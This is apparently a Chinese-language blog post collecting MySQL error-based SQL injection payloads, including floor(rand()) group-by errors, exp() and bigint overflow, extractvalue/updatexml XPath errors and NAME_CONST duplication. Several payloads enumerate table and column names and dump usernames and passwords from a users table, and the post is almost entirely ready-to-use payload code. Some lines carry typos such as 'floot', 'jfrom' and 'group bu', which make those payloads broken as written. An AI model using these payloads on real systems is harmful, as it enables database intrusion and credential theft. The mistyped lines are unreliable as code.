美文网首页
基于报错的sql盲注----构造payload 让信息通过错误提

基于报错的sql盲注----构造payload 让信息通过错误提

作者: pigdaqiang | 来源:发表于2020-01-15 22:35 被阅读0次

    基于报错的sql盲注----构造payload 让信息通过错误提示回显出来

    select 1, count(*), concat(0x3a,0x3a,(select user()),0x3a,0x3a,floot(rand(0)*2))a jfrom information_schema.columns group by a;
    

    //explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次

    简化形式如下:

    select count(*) from infromation_schema.tables group by concat(version(), floor(rand(0)*2))
    

    如果关键的表被禁用了,可以使用这种形式

    select count(*) from (select 1 union select null union select !1) group bu concat(version(),floor(0)*2)
    

    如果rand被禁用了可以使用用户变量来报错

    select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
    

    select exp(~(select * from (select user())a))
    //double数值类型超出范围,exp()为以e为底的对数函数;版本在5.5.5及其以上

    得到表名:
    
    select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
    
    得到列名:
    
    select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
    
    检索数据:
    
    select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
    

    参考文章:https://www.cnblogs.com/lcamry/articles/5509124.html

    select !(select * from (select user())x) - ~0

    //bigint 超出范围:~0是对0的逐位取反 版本5.5.5以上

    利用最大整数无法处理引发报错

    首先,我们来获取表名:
    
    !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0
    
    取得列名:
    
    select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
    
    检索数据:
    
    !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
    

    参考文章: https://www.cnblogs.com/lcamry/articles/5509112.html

    extractvalue(1,concat(0x7e,(select @@version),0x7e))

    //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

    updatexml(1,concat(0x7e,(select @@version),0x7e),1)

    //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

    select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

    //mysql重复特性,此处重复了version,所以报错

    个人自建blog:
    http://pigdaqiang.top
    http://texttxet.github.io

    相关文章

      网友评论

          本文标题:基于报错的sql盲注----构造payload 让信息通过错误提

          本文链接:https://www.haomeiwen.com/subject/iryxzctx.html